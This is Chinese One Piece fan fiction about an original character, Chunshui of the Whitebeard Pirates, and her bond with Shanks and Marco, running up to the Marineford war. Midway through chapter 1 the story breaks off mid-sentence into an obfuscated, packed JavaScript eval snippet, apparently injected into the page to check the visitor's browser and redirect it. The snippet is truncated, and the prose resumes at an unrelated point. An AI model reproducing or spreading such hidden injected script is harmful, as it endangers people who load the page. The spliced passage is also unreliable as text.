《「海贼红团or白团」姐姐她手无缚鸡之力》 1. 白胡子海贼团一番队副队长·春水 请选择你的出生地点:白胡子海贼团 请选择你的天赋技能:果实觉醒·顶级武装色/霸王色=「无我不断」 伟大航路后半段——被称为新世界的海域诡谲莫测,散落的暗礁和漩涡、前一刻晴空万里下一刻巨浪滔天,这种鬼天气已经让人适应了。 顶着像是要把大陆掀翻的风浪,巨舰「莫比迪克号」凭借着航海士的指挥与舵手的默契配合,如同其白鲸造型一般,破开浪涛,灵活穿过风浪带。 雨歇云散,洋流变得稳定了起来,天边甚至挂起了一道绚丽的彩虹桥。 “队长!马尔科队长!能看到下一个岛了!”瞭望台上的船员兴奋地向下呼喊。 “辛苦了yoi。”一番队队长马尔科朝他挥了挥手,侧头看向甲板中央山岳般稳重的身影,“老爹,我说真的,这次我绝对不会再给你搬酒回来了。” 有着标志性弦月状白胡子的老人——爱德华·纽盖特闻言不语,只是眯眼看着彩虹,发出了他那标志性的“库啦啦啦啦”的笑声,心情颇佳地调整了一下坐姿,准备在难得的好天气下打个盹。 那是这艘船的主人,被称为“世界最强”,甚至被世界政府认证为“新世界皇帝”的大海贼「白胡子」。 是他们的「老爹」。 “你就听马尔科的吧,老爹。”三番队队长乔兹翘着腿坐在一旁的酒桶上,“要听船医的话啊。” 靠在船舷边的四番队队长萨奇和五番队队长比斯塔对视,无奈摇头。 “又开始装睡!” “老爹——!” “你也管管他啊春水!”乔兹朝着高处喊道。 闻言,坐在瞭望台下方船舷上的女人收回了望向前方海平面的视线——那里空无一物,只有粼粼波光——对上了马尔科和乔兹一起投来的、带着无声谴责的目光。 “算啦,马尔科。”一番队副队长,与马尔科同年登船、并称为白胡子海贼团「王之双翼」的春水,语气一如既往地平静,“反正最后也会按老爹喜欢的来吧。” 你又劝不住他。 ——她是这样的眼神。 马尔科:“……” 他挫败地叹了口气,无法反驳。 “库啦啦啦啦啦——!”装睡的白胡子笑得更大声了。 “就知道你在装睡!!老爹!!!”萨奇和比斯塔的抗议声淹没在老爹爽朗的笑声和其他队员们的哄笑中。 莫比迪克号作为白胡子海贼团的主船,与另外四艘外轮船共同组成一支庞大的船队。它被拱卫在船队中心,整个船队就如同一个海上王国。 这只船队目标太大,无疑是许多海贼与海军的眼中钉。偏偏纽盖特还不愿意像建立万国的「大妈」夏洛特玲玲和盘踞和之国的「百兽」凯多一样,偏居一隅。 他生于大海。 他的家就是这艘不断航行的巨船。 因此,比主舰机动性更强的小型帆船队,自然承担起了上岛采购的任务。抓阄留下半数船员守卫莫比迪克号,几位闲不住的队长纷纷带人跳上了采购船。 “那我们就先走一步了,晚上见!” “哦——!” 几条采购船扬起风帆,离弦之箭般驶向远处的岛屿。 马尔科站在船头,安排着采购清单和人员分配。春水则安静地坐在他身后的船舷边,目光依然盯着正前方,海面上远远的能看见一艘船的轮廓。 ——真稀奇,碰见了熟悉的人。 马尔科无意扫过她的目光,顺着望过去,见闻色迅速捕捉到了那艘大船——船首像如同红色巨兽,帆上印着带红色疤痕的骷髅头。 雷德·福斯号。 近几年声名鹊起的大海贼「红发」香克斯的船。 马尔科的笑容缓缓沉了下来。 比斯塔还在擦拭着他的爱刀,笑着对旁边的十六队队长以藏说:“这次希望能找到点好酒,虽然马尔科肯定又要念叨……” 他模仿着马尔科的语气,“‘不行yoi!绝对不能再给老爹买了yoi!’” 以藏也在笑:“但最后妥协的总是他。” 萨奇已经开始盘算:“不知道这里的特色食材是什么……好期待啊!” “那是……?”船越发靠近,众人停下了谈笑,表情逐渐严肃起来。 显然,没人认不出那面标志性的海贼旗。 “哟!” 逐渐靠近的雷德·福斯号的船舷边,一头红发、带着草帽的香克斯,正用力挥动着右臂,脸上洋溢着过于灿烂的笑容,朝着他们大喊: “春水!好久不见!” 这一嗓子,甲板上的众人目光齐刷刷地转向春水。 “一船的人就只认识你似的,奔着你就来了。”马尔科抱着手臂,挑眉吐槽了一句,语气听不出喜怒,立刻引来了几位队长心照不宣的低笑。 春水微微偏过头,长发被海风拂动,越过波光粼粼的海面,落在了那个笑容晃眼的红发男人身上。 她的脸上没什么表情,只是幅度极小地点了一下头,算是回应。整个过程,安静得没有吐出一个字。 是她惯有的,并不热络,甚至显得有些冷淡的回应。 ——三年过去了。 ——他长高了。 上一次遇见香克斯还是桑塔尼亚岛——一个再普通不过的岛屿,但纽盖特年少时曾在此驻留并提及当地一种有名的威士忌,而变得特殊了起来。 春水完成了马尔科罗列的长长的采买清单——大部分都是需要花时间辨认的药物,将它们一一搬上停靠在岸边的采购船。 做完这一切,她并未随其他队员一同休息,而是和马尔科打了个招呼,独自折返回镇子,凭着模糊的记忆找到了老爹嘴里的老酒馆,向老板订下了十桶据说「有着独特烟熏味的威士忌」。 酒馆的空气里弥漫着麦芽发酵和烟草混合的气息,角落的灯光明明灭灭。有一个醉汉举着酒瓶手舞足蹈,眼见着就要朝她这边撞过来。 春水头都未抬,平静地与老板核对订单。 那醉汉脚下却仿佛突然被什么无形的东西绊了一下,惊呼一声,以滑稽的姿势摔倒在地,引来周围看客一阵毫不留情的爆笑。 ——绊住他的,是一根自他脚下生长出的,无形但有力的“线”。 这一幕恰好落入了带着伙伴们来买酒的香克斯眼中。 他原本只是觉得有趣,多看了两眼被捉弄的醉汉和他身后的「始作俑者」,直到那人侧过脸,露出平静无波的熟悉轮廓,他才恍然。 是她啊。 怪不得……气息收敛得如同普通旅人,若非这小小的插曲,他几乎要错过了。 这不是春水嘛。 他乡遇故知,香克斯好心情地凑过去与贝克曼交代两句,顺手拿起服务生刚上的酒,朝着那个角落走去。 “又见面啦,春水!” 她闻声抬头,视线略过他标志性的红发和草帽上,声音淡淡的:“哦……是你啊。” “来买酒吗?”香克斯笑容爽朗,很自然地将手中的酒杯递过去,“试试这个,味道很棒。” 春水看着他递过来的酒杯,沉默片刻,安静接过。 香克斯顺势向她介绍起自己那些好奇张望过来的伙伴们,她只是挨个点头,算是打过招呼,然后便捧着那杯酒,静静看着香克斯和他那些吵吵嚷嚷却默契十足的伙伴们。 看了好一会儿,就在香克斯以为春水不会再开口时,她忽然出声,声音依旧是那平铺直叙的调子。 “确实还不错。” 酒也是,他的伙伴也是。 香克斯愣了一下,明白了她的未尽之意,笑容更加灿烂:“是吧?” 春水点点头,又补充了一句:“很像……以前。” ——他当然知道“以前”指的是什么。 这句话让香克斯怔住了,半晌才咧嘴笑开:“是吗……那真是,最高的夸奖了。” 这时,酒馆老板示意春水已经打包完毕。她点了点头,将几乎没怎么喝的那杯酒放回吧台——其实没喝完有些可惜,但她确实拿不下了。 香克斯似乎看出了她的心情,大笑着接过杯子喝了一大口,春水的眼睛便微微弯了弯,对香克斯再次点了点头,算是告别,便转身离开。 ——这是满意的意思了。 香克斯望着她的背影消失在酒馆门口,心知下次再见就是几年以后了,那时红发海贼团的名字一定会响彻伟大航路——他近乎轻狂地想着,回头看了看自己那活力四射、正在笑闹的伙伴们,将酒一饮而尽。 不知道为什么,心情变得很好。 “遇见了什么有意思的事吗?”走出酒馆的春水将酒桶推上采购船,被马尔科无意地一问。 “……?” “因为春水你啊,刚刚在笑哦。” 她顶着马尔科困惑的目光,摸了摸嘴角,确实是弯起的弧度。 “没什么。”弧度落下,她平静地回道,“我们回去吧。” ——他看起来比之前精神了不少,挺好的。 有一搭没一搭地回着马尔科对萨奇把东西搬上别人的采购船结果引发暴动的抱怨,春水这么想着。 三年后的再遇,红发海贼团果然从东海不知名海贼团成了如今政府也开始忌惮的存在。 春水回过神来,却见马尔科、比斯塔这几个一言不合开始「切磋」的好战分子已经跳上了人家的甲板。 海贼之间的交流方式有时简单粗暴。 不知是谁先提议的,或许总是在奇怪地方燃起好胜心的马尔科一句“香克斯,要不要久违地切磋一下yoi!”,下一刻,两道身影便已跃至空中。 锵! 名刀格里芬与缠绕着青蓝色火焰的脚爪悍然相撞,空气为之一振。 香克斯的剑术早已褪去青涩,他对霸气的领悟甚至有超过春水的苗头——每一次挥斩都裹挟着霸王色霸气,凌厉无比。 剑气与青炎交错,撕裂云层,眨眼已过数招。 激战正酣,香克斯刚格开马尔科一记沉重的踢击,一道飞翔斩击却以刁钻的角度,直刺香克斯左腹! 花剑·比斯塔! “船长!”作为他的对手,贝克曼暗惊,他反应最快,举枪便射。 这人的剑气居然被自己格挡后仍有这种威力,不愧是那位「白胡子」手下的队长。 但有人比他更快! “嗡——!” 破空声响起,另一道斩击已至,精准地撞在比斯塔的剑气侧翼,巧妙地化解比斯塔的剑气,使之擦着香克斯与马尔科的衣角飞向远方大海,炸起冲天水柱。 ——好精准的掌控力。 马尔科挑眉,顺势后跃回船上,似真似假地抱怨道:“喂喂,差点打到我哦,春水。” 香克斯猛地转头。 对面的船舷上,春水活动着手指,连眼神都没分过来。对着给她展示身上并不存在的擦伤的马尔科,她甚至懒得抬头,语气平淡地甩锅。 “是比斯塔准头太差。”她顿了顿,“早说了白天不要喝酒。” 以藏闻言,毫不客气地嗤笑一声。乔兹和萨奇早就看出来比斯塔是故意朝着那两人对战中心打的,此刻更是毫不掩饰“你活该”的表情。 只有被揭穿的比斯塔不忿跳脚:“喂!我明明很清醒!” “走了。”马尔科瞪他一眼,把最长的采购清单塞到他手上,“居然想下黑手,不买齐不许上船yoi。” “唉——?!” 比斯塔发出一声哀嚎。 “哈哈哈活该!”萨奇毫不留情地大笑。 “你也是!”马尔科矛头一转,指向一旁看似事不关己的春水,“就知道看热闹,这些清单归你了yoi!” 他将另一沓清单递过去。 “哈哈哈哈哈春水也要被骂吗。”萨奇笑得更欢了。 以藏默默扶额:“别小瞧了他这种时候的小心眼啊。” 春水沉默地接过长长的清单,看了看,平静地陈述:“……我参战了。” 她不说还好,一说更是火上浇油。 马尔科额角冒出十字青筋:“敌我不分算哪门子的参战yoi!!!” 春水与他对视两秒,然后默默低下头,像是认错,又像是无从争辩后的妥协:“………好吧。” “哈哈哈哈哈哈哈哈哈哈哈哈哈哈——”周围顿时爆发出更响亮的笑声。 有年轻队员小声嘀咕:“马尔科队长发起脾气来,连春水姐都不敢顶嘴啊……” 新岛就在面前,这场友好的切磋自然到此为止,两方人马道了别,准备放锚收帆做登岛的准备。 香克斯盯着春水腰侧未出过鞘的斩刀,忽然笑了,手腕一振,格里芬归鞘。 ——居然能将霸气缠绕上「无刀」,她又变强了。 但是这一幕,真是……熟悉的令人怀念啊。 十四年前的一战,雷鸣与斩击撕裂天空,连海水都为之沸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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还有……她是在担心他受伤吧。少年心里默默地想。 “哦。”春水点点头,算是知道了这个名字。她的视线已经越过他,看向了战场——雷利正和光月御田打得有来有回,马尔科在空中洒落青炎支援伙伴。 而司克帕·贾巴—— 失去对手的贾巴已经朝着马尔科斩来了。 “走了。你自己小心点。” 她丢下这句话,身形一动,已然如离弦之箭般飞身而出,精准地替马尔科接下了贾巴势大力沉的双斧劈砍。 “春水——”香克斯听见了她的伙伴,那只罕见幻兽种「不死鸟」的呼喊,“我很快,你再撑一会儿。” “不急,你自己小心。” 金铁交鸣之声再次炸响,又是一场恶战展开。但在那一战,他也记住了这个名字。 “那个叫「春水」的女孩子,小小年纪居然能领悟霸王色到这个程度。”很久以后提起她时,雷利是这么说的,“你有个劲敌了,香克斯。” 正如春水所言,经历了一场酣畅淋漓的战斗后,两位船长大手一挥,盛大的宴会开始了。 奥罗·杰克逊号与莫比迪克号并排停靠,觥筹交错,欢声雷天。 香克斯正和巴基抢着烤肉,喧闹中,目光不经意地扫过篝火边缘。 熟悉的少女独自坐在一截巨大的原木上。她手里拿着一团被扯开的线,正笨拙地、全神贯注地整理着它们,眉头紧锁,表情是鲜活的苦恼和认真。 分神导致最后一块烤肉被巴基抢走,香克斯索性把盘子递给他,自己则鼓起勇气走过去。 “那个!谢谢你之前……”他有些不好意思地开口。 春水抬头看了他一眼,又低下头和手里的毛线“搏斗”,随口道:“哦,是你啊。没什么。” 一阵沉默的尴尬蔓延,香克斯看着她手指翻飞,线团非但没理顺,反而有越来越乱,几乎要缠成一个死结。 他看了又看,忍不住开口:“你的线……好像打结了……” “嗯?”春水的眉头皱得更紧了,“啊,真是麻烦。” 她嘴里嘀咕着,似乎打算直接用蛮力扯开。 ——原来她也有不擅长的东西啊。 “别!别扯!”香克斯试图阻止,“线会断掉的!我……我帮你吧?” 其实他也不太擅长这种精细活,但不知道哪来的冲动,他揽下了这个活。 春水真的把那团乱麻丢给了他,然后默默往旁边挪了挪,给他腾出了一小块位置,自己则安静地坐在一边,看着他笨拙但耐心地解着线结。 笑声震天响的宴会上,这里成了难得的清静之地。 饶是日后被伙伴戏称为“社交悍匪”的香克斯此刻如何努力寻找话题,他们的对话仍然进行得磕磕绊绊,时常冷场。 香克斯慢慢发现,她似乎听不懂那些简单的玩笑,常常会答非所问,或者突然陷入沉默,盯着某个地方出神。 但总体来说,聊得……还行?至少她没有表现出不耐烦。 而在他们未曾注意的篝火另一侧,马尔科一边帮伙伴处理伤口,一边时不时将目光投向角落里的两人。他眉头微微挑起,惊讶于春水的反应。 ……她在朝那小子笑吗? ………笑得那么开心吗?! 莫名有点不爽的他用手肘碰了碰旁边正在大快朵颐的乔兹,朝着两人方向努了努嘴。 乔兹迷茫地顺着他的目光看去,看着没反应过来,一旁的以藏和比斯塔的脸上却立刻露出看好戏的笑容。 拉上还在皱眉的马尔科,两个人默契地跑到正豪迈饮酒的纽盖特身边,带着点少年人特有的、发现新奇事物的语气,“告状”道: “老爹!你看!春水好像交到了个新朋友!” 爱德华·纽盖特顺着他们指的方向望去,看到那并排坐着、不知道在说什么的两个小小身影,尤其是自家那个平时只会握刀和发呆的女儿此刻那难得的笑脸—— 虽然看着只是被红发小子的表情逗笑的,他用线把自己缠成一坨也太搞笑了点。 纽盖特发出了低沉而愉悦的哈哈大笑,仰头灌下一大口酒: “库啦啦啦啦!这不是挺好的吗?” 2. 他没有再做噩梦 人数少但成员各个精悍干练,如同「铜墙铁壁」一般无一短板,人均悬赏金高到了一个几乎恐怖的数字——红发海贼团的势力以惊人的速度膨胀。 香克斯终于在六年前正式被世界政府并入了如同皇帝一般君临新世界的「海上皇帝」,与另外三位统称为「四皇」。 他再次与白胡子海贼团见面时,是在纽盖特亲手撕碎了那封信,并对送信的新人说: “让香克斯带着好酒来见我。” 于是他来了。 一个人。 雷德·福斯号与莫比迪克号在辽阔的海面上逐渐并行,如同两只巨兽。香克斯单手提着与他体型不甚相称的巨大酒葫芦,踏上连接两船的舷梯。 似是刻意示威,与生俱来的霸气随着他的每一步迅速席卷、冲刷着莫比迪克号的甲板。 空气仿佛凝滞,实力稍逊的船员只觉得呼吸一窒,眼前发黑,接二连三地软倒在地。 ——半吊子的心理承受能力,完全无法在这个男人面前保持清醒。 “不好意思啊,”最年轻的海上皇帝如此说道,一步一步踏上甲板,背景音是新人失去意识接连倒地旳闷响,笑容却爽朗的不像是在释放威压的人,“刚来就给了个下马威。” 他的目光扫过甲板上的几位老熟人,算是打了招呼。 马尔科眉头紧皱,青炎在指尖若隐若现:“喂,红发!把你那身霸气收一收yoi!” 他侧移半步,将几个脸色发白的新队员挡在身后。 春水倒没什么反应,连霸王色都扛不住的新人经历一下强者威压也不是坏事。 只是…… 她用余光瞥向端坐于巨椅上的纽盖特——老爹的身体状况经不起太多折腾。 如果这些四皇登门,都是和已故的海贼王罗杰那样,先动手再议事的德行—— 凝成实质的霸王色霸气灌入长刀。女人半倚着船舷,刀已出鞘三寸,寒光乍现,抬眼看向香克斯。 她的眼神分明比刀光更雪亮,语气却平淡无波:“倒是很久没见过「神避」了。” 凶悍,直白,锐意,洗练。 仿佛下一瞬连这凝重的空气都能斩断。 不愧是白胡子海贼团最锋利的刃,她这股冲撞过来的霸气实在是漂亮,香克斯神色微顿,眼中掠过毫不掩饰的惊艳。 他停下脚步,与春水对视。 ——这样久违的、外露的战意……啊啊,真想打一场,试试看她现在的水平啊。 但是不行,现在不是时候。 心底眼底一片炽热的男人笑着摆手,仿佛刚才那剑拔弩张的气氛只是错觉:“哟!春水!好久不见!” 紧接着,他的目光极其自然地转向一旁脸色更臭的马尔科,抛出那句几乎成了惯例的、半真半假的邀请:“马尔科!怎么样,要不要来做我的伙伴啊?” 看春水看得眼珠子都要掉下来了,是个人都知道他究竟想邀请谁做伙伴!! 兄弟们在窃笑,马尔科额角青筋暴起,太阳穴突突地跳。 他伸手,却是按在春水的刀镡上,微微用力将刀推回鞘中:“让他们先谈正事,春水。” 任由他动作,顺着他的力还刀入鞘,战意随之收敛。不再是对「四皇」挑衅的回击,春水再抬起头时,就只是单纯地和「香克斯」打招呼了。 “是挺久的。”她的声音没什么起伏,“你又长高了。” “噗——”比斯塔实在没忍住,笑出了声,但在马尔科、以藏和乔兹三道冰冷目光的注视下,又硬生生把后续的笑声憋了回去,肩膀可疑地抖动着。 ——这种像对家里小弟弟说的话,从她嘴里说出来,对象还是红发香克斯,总有种莫名的喜剧效果。 这男人都快四十了,还能长高呢? 香克斯笑得更开心,像是得到了什么极其顺耳的夸奖,甚至还下意识地挺直了点背。 他不再多言,转向一直沉默地、咕咚咕咚喝着酒的白胡子纽盖特。 这是在等他自己开口。 “我不想发动战争。”面上犹带笑意,眼神却很严肃的四皇·香克斯为自己斟满一碗酒,“但这件事,非做不可。” 纽盖特放下酒葫芦,对身旁严阵以待的乔兹和眉头紧锁的马尔科摆了摆手:“让我和红发小子单独聊聊。” 马尔科还想说什么:“老爹,他……” 话未说完,春水已经伸手拽住了他的小臂,拉着他走向船舱:“走了,马尔科。” “要说什么必须要避开我们?还是和红发那家伙yoi!” 船舱里,春水停下脚步,回头望着隐隐有几分明悟却不敢承认的马尔科,口吻平静地近乎冷淡。 “这个时间点,他亲自来,避开所有人要谈的事……”她顿了顿,说出了让马尔科心下一沉的话,“只可能和蒂奇,以及去追他的艾斯有关。” 不久前,二番队队员马歇尔·D·蒂奇意图杀害四番队队长萨奇,夺取恶魔果实——好在春水及时赶到,用能力将他的内脏与身体暂时缝合,这才撑到了马尔科的再生之炎。 饶是如此,萨奇现在依然躺在病房内生死未卜。 蒂奇犯下了白胡子海贼团唯一的戒律——他伤害了家人。那个完全没对他设防的兄弟。 气不过的二番队队长艾斯前往追击,目前下落不明。 香克斯……他预见了蒂奇的阴谋与艾斯失败的结局,是来拜托白胡子召回艾斯的。 那是一记足以斩断云层的撼人交锋,惊天动地的对决过后,余波似乎还在空气中嘶鸣。 两位四皇的谈判显然以不欢而散告终。香克斯脸上惯常挂着的笑容消失无踪,取而代之的是一种深沉的、几乎凝成实质的凝重。 他默然转身,走向舷梯。 莫比迪克号甲板上的气氛依旧紧绷。马尔科拧眉看着香克斯的背影,春水站在稍远些的地方,目光落在断裂的云层上,若有所思。 ——这一击,换做是她,能做到吗? 踏上雷德·福斯号,香克斯像是忽然想起了什么,变戏法一样从怀里掏出一团洁白如云、柔软异常的线团。 他将手臂一扬,那团东西就轻飘飘地、精准地落在春水手中。 “给你带了空岛的云绒线,”他的声音打破了沉寂,语气自然得仿佛刚才与纽盖特剑拔弩张的不是他,“听说,你织围巾的手艺有进步了?” ——那是一个与当前的沉重气氛格格不入的、甚至显得有些突兀的话题。 春水抬手接住,指尖下意识地捻了捻,云一样柔软的触感让她神色微顿。 “嗯。” 她应了一声,没有问“为什么突然给我这个”或者“你从哪里听说的”,算是承认了“手艺进步”和“收到礼物”两件事。 香克斯似乎就等着她这声回应,打蛇随棍上,脸上那属于「香克斯」的、熟悉的、带着点赖皮的笑容又回来了。 他极其自然地提出要求:“我想要个红色的。” ——仿佛刚才的谈判破裂、拔刀相向都只是幻觉。 春水看了看手里洁白无瑕的云绒线,似乎思考了一下染色的可行性,然后点头:“行啊。” “喂!”一旁的马尔科终于看不下去了,额角冒起青筋,“别上来就理所当然地朝人家讨要回礼啊yoi!而且你这家伙——” 他话没说完,但意思很明显:刚跟我们老爹打完,转头就……你要脸吗?! 香克斯只是哈哈一笑,看向他的眼神里带着点不易察觉的得意,那是在说:“她答应了就行”。 他不再多言,背对着他们,随意地抬手挥了挥,算是告别。 “走啦。” 香克斯的预言终究成了现实。一周后,海军内部线人传来的消息如同最终判决,冰冷而残酷——波特卡斯·D·艾斯,将于海军总部马林梵多被公开处刑。 最高战力三大将将亲自坐镇处刑台,王下七武海也被强制召集。 多亏了香克斯那次的警告,白胡子海贼团对此早有预料。 ……或者说,从艾斯留下的生命纸开始不正常地加速燃烧、继而变得微弱的那一刻起,所有船员的心都已经沉了下去,并开始默默准备。 这已经不能称之为冲突了。 这是一场战争。 一场白胡子海贼团及其麾下所有成员,与世界政府顶尖战力的正面对决。后世将其称为——「顶上战争」。 纽盖特沉默地拔掉了身上的针头和输液管,仿佛卸下了最后的枷锁。 他亲自下令,召集散落在新世界各处岛屿的所有大船团与家人,开始筹备这场以命相搏、结局几乎已经注定了的豪赌。 此战结束,无论胜负,白胡子海贼团必将元气大伤,甚至可能……就此除名。 ——所有人都心知肚明。 然而,除了刚入伙的新人,没有任何一位伙伴选择退缩。 组建家庭、生儿育女的早写好了绝笔信,了无牵挂的则将全部财产换成了武器与补给。 赌上身家性命——这句话,从来不是说说而已。 决战前夕,莫比迪克号最后一次航行在海上,夕阳如血,缓缓沉入远方的海平面,将天地染上一片腥红。 英雄迟暮。 伙伴们沉默地注视着甲板中央的老人,他们的老爹。很多人的生命都早该终结,只是因为这个男人的庇护,作为他的儿女,才存活至今。 老爹在哪里,家就在哪里。 ——站在家人身边,为家人……死战不退。 船上弥漫着大战前特有的、压抑而忙碌的气氛。转移武器、为船体进行最后的镀膜加固、光是作战会议就从早开到晚,细节反复推敲。连体力惊人的马尔科眼底都泛起了青黑。 他一边为纽盖特调配着最大剂量的镇痛药,一边抽空瞥了一眼熟悉的位置。 那是春水所在的位置。 她依旧坐在离瞭望台最近的船舷上,神情与平日毫无二致,平静地眺望着远方逐渐暗淡的海平 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三十多年前,他们都还是半大少年的时候,被纽盖特从战火纷飞、尸横遍野的故乡救出。自此一左一右,懵懂又坚定地决定跟随在高大的男人身后。 第一次真正见血,是他用一把玩具似的小刀,捅瞎了试图偷袭老爹的海贼的眼睛。 那时才多大来着……有些记不清了。 他只记得连着神经的眼球被刺破时,那湿热黏腻、令人作呕的触感。 老爹很快反应过来,解决了倒地痛呼的海贼。但那之后,马尔科回去反反复复洗了很多次手。 之后的很多个夜晚,他都会被血淋淋的噩梦惊醒。冷汗浸透衣衫,再无睡意。 好几天都没睡好的他干脆掀开被子,起身在夜风里摸索着踏上甲板。 春水还是坐在船舷边,选了个最高的位置,双腿悬空,平静地看向远方的海平面——她小时候就是这幅德行。 马尔科甚至有时候会想,可能这家伙的脑子小时候就被炮火打坏了,看着呆呆的,说话也慢半拍,总是少了根弦。 ——但每次出刀倒是相当快,像是缺的那些属性点都加到了武力值上。 见他醒了,她没说什么,只是安静地看了他一眼,目光定在了他的冷汗上。 就在马尔科以为她会继续发呆时,她忽而轻盈地一跃,从高处跳回甲板。 落地无声,像只灵活的鸟。 “睡不着吗?”她问,“不开心吗?要说说吗?” 月光很冷,但她的声音……怎么说呢?意外的很温和。 所以他点了点头:“……嗯。” 海上的夜晚其实没什么好看的,视野所及除了反射出月光的海水,就只有星辰了。 他们找了个很大、很大的空木箱,然后爬上去并排坐好。两个孩子几乎是肩挨着肩,一同仰望星空。 那一晚,更多细节他也记不太清了……因为已经过去了很多很多年。他只依稀记得,他们聊了聊明天的早饭、新来的伙伴,类似这样平平无奇的话题。 主要是他在说,春水静静地听。没有冷场,气氛很安宁。 很神奇的,他越说越困,最后已经忍不住开始打哈欠了。 春水认认真真地看了他好几眼,然后让出了自己的肩膀,示意他可以靠过来。 “睡吧,没事的。”她的声音很轻,似乎还带着点诱哄,响在他的耳边,“有我在,马尔科。” 马尔科后来睡着了。 不可思议,但确实睡着了。 头枕在少女瘦削地有些硌人的肩膀上,太窄太小了,其实并不舒服——但耳边是她平稳的、似乎不会被任何事惊扰的呼吸。 那一夜,他没有再做噩梦。 那以后的很多年,他似乎都很少再做噩梦了。 半梦半醒间,记忆中少女青涩的、带着些许稚嫩的声音,与此刻春水难得温和的声音重叠,轻柔得像一片羽毛。 眼前一片漆黑,彻底失去了视觉,听觉才变得异常敏锐。 ——他听见,她在耳边轻轻说:“没事的。有我在,马尔科。” 有我在,马尔科。 别怕。 生,便并肩而生。 死,便抵背而死。 黑暗也好、光明也罢,无论前路通往何方——哪怕是黄泉路,也绝对不会让你孤身一人。 心头猛地一紧,随即又是一松。马尔科不自觉攥紧的拳头,在一片寂静的黑暗中,慢慢地、慢慢地摊平。 表情掩盖在阴影中,没人看的清晰,白胡子海贼团坚不可摧的副手、一番队队长「不死鸟」马尔科,很轻很轻地、无声地笑了。 他抓紧了身边人的那双手,掌心相触,体温交接。 “行啊。那就大干一场吧yoi。”他笑着说。 3. 去帮马尔科一把 战争是不同的。 同它相比,海贼团之间的内斗、某些海贼团被海军派出几个分队从一个岛追到另一个岛——这些冲突就像是在过家家。 战争是残酷的,就像沸腾的熔炉,将参战者的生命、青春、梦想与未来统统投入,最终化作伤亡名单上冰冷的数字。 这一点,每个身处马林梵多战场的人,都在亲身体会。 马林梵多,伟大航路最中央的红土大陆上,镇守圣地玛丽乔亚,作为海军总部而存在几百年。 高处的处刑台上,波特卡斯·D·艾斯双手被缚,身侧站着海军元帅佛之战国与海军的「英雄」卡普,是和他的父亲「海贼王」哥尔·D·罗杰一样的处刑方式。 他近乎失声地望着处刑台下的战场。为救下他而全力推进的白胡子海贼团,正与海军本部全部力量激战。 爆炸声、喊杀声、惨叫声震天而响。 “在那儿好好呆着,我们会去救你的,艾斯!”见闻色能感知到所有伙伴的心声,它们用力拧成一个声音,狠狠地、大声地告诉艾斯,“你的诞生、你的存在、你活着这件事本身,对我们而言意义重大!!你绝对绝对不能死!!!” 年轻的火拳以头触地,泪水大滴大滴滚落。 战场中央,纽盖特巍然坐镇莫比迪克号,与远方的战国隔着战场遥遥相望。两方主帅皆是耐心地等待着能影响战局的「契机」。 巨浪破空,被海军大将「青雉」库赞挥手冻结,阻止莫比迪克号前进的同时,也形成了一片可以作为战地的巨大冰原。 “库啦啦啦!去吧,孩子们!”纽盖特挥动薙刀,震碎了一片巨大的冰墙。 干部们对上海军中将,队长们牵制七武海,除了「鹰眼」米霍克外,最难缠的还是「赤犬」「黄猿」与「青雉」三位大将。 ——好在这次的目标并不是打赢、击败,而是牵制。 只要救出艾斯,成功撤离,就是胜利。 比斯塔已经与拔刀的米霍克战成一团,乔兹撞开冰层,擎起山峦般的冰块砸向处刑台。 库赞瞬间跃起:“「冰河时代」!” 极寒的冻气蔓延,眼看就要将巨冰连同乔兹一起冻结。乔兹怒吼一声,将冰块全力投出! 巨大的冰块擦着冻气的边缘,呼啸着砸向处刑台。 空中,马尔科化身不死鸟,青炎席卷,羽翼扇动,对上了试图攻击纽盖特的「黄猿」波鲁萨利诺。 他的「八尺琼勾玉」倾泻而下,在即将淹没马尔科的瞬间被再生之炎吸收伤害,并被马尔科抓住时机,一记踢击。 所有对决都围绕着纽盖特为中心,作为主战力之一,白胡子海贼团的「利刃」,春水并未冲杀在最前线。 她立在王座之侧,任务很明确——「处刑台」与「莫比迪克号」主舰上的主帅纽盖特。 清除任何试图偷袭主力队长们、威胁老爹和船只的攻击,以及,作为最后的机动力量。 借「织织果实」的能力,从炮弹、镭射或是海军将校发起的斩击中抽取轨迹的「线」,使它们的轨迹偏移,斩向敌人。 袭向莫比迪克号的炮弹莫名砸向海军军舰,引发更多爆炸,明明是攻向纽盖特的斩击——在半途就被无形的线悄无声息地偏折,砸向海军。 马尔科周身青炎翻涌,与黄猿化身的金色闪光仍在空中不断碰撞、炸裂。 对方的光速踢击与自如的元素化令人防不胜防,他眼角的余光却瞥见比斯塔在鹰眼米霍克的黑刀夜下渐显疲态——世界第一大剑豪的斩击,每一次都带着开山断海的威势。 比斯塔……他的刀快撑不住了! “嗤啦!” “「不死蓟」!” 佩刀被黑刀斩断,青炎瞬间形成盾牌,硬生生替比斯塔挡下了这致命一击。 “马尔科!”比斯塔喘息着喊道。 “去换把刀yoi!”马尔科头也不回,一脚将比斯塔送向带着他佩刀的五番队队员那儿。 然而,这一分神,金黄色的光弹如雨点般倾泻而至。与此同时,米霍克的下一记斩击也已迫近眉睫! 两面夹击。 马尔科瞳孔微缩,双翼猛地收拢,青炎沸腾到极致,里面裹着能修复血肉的再生之炎,已然做好了硬抗的准备。 预想中的剧烈碰撞并未完全降临。 “铛——” 刀与刀相撞,斩击的冲击波呈扇形扩散,瞬间将远处的一座冰山拦腰斩断。 仅出鞘半寸的刀身,精准地架住了黑刀夜的刃锋。 而那密集的八尺琼勾玉,大部分竟像是被无形的力量牵引,诡异地擦着马尔科的翼尖,轰入下方的冰面,炸成无数碎片! “马尔科,去看着老爹。” 春水无声无息地出现在了他的侧后方,一把将他丟向战场中央——纽盖特的身边。 不死鸟果实能力堪称无解,但对体力和霸气的消耗都尤为巨大。对于爆发力与伤害欠佳的马尔科,超高的机动性与消耗战才是他的主场。 ——她在为他创造喘息之机,同时接管过危险的战局。 即使面对两个人,她的长刀仍未完全出鞘,只是露出了短短一截刀身。上面覆盖着凝练到极致的霸气,几乎化为实质的黑雷,缠绕跳跃,滋滋作响。 就连马尔科都已记不清,春水上一次抽刀出鞘是什么时候了。 自从她掌握了以霸气缠绕「无刀」亦可斩断万物的能力,便鲜有需要她真正拔刀的对手。 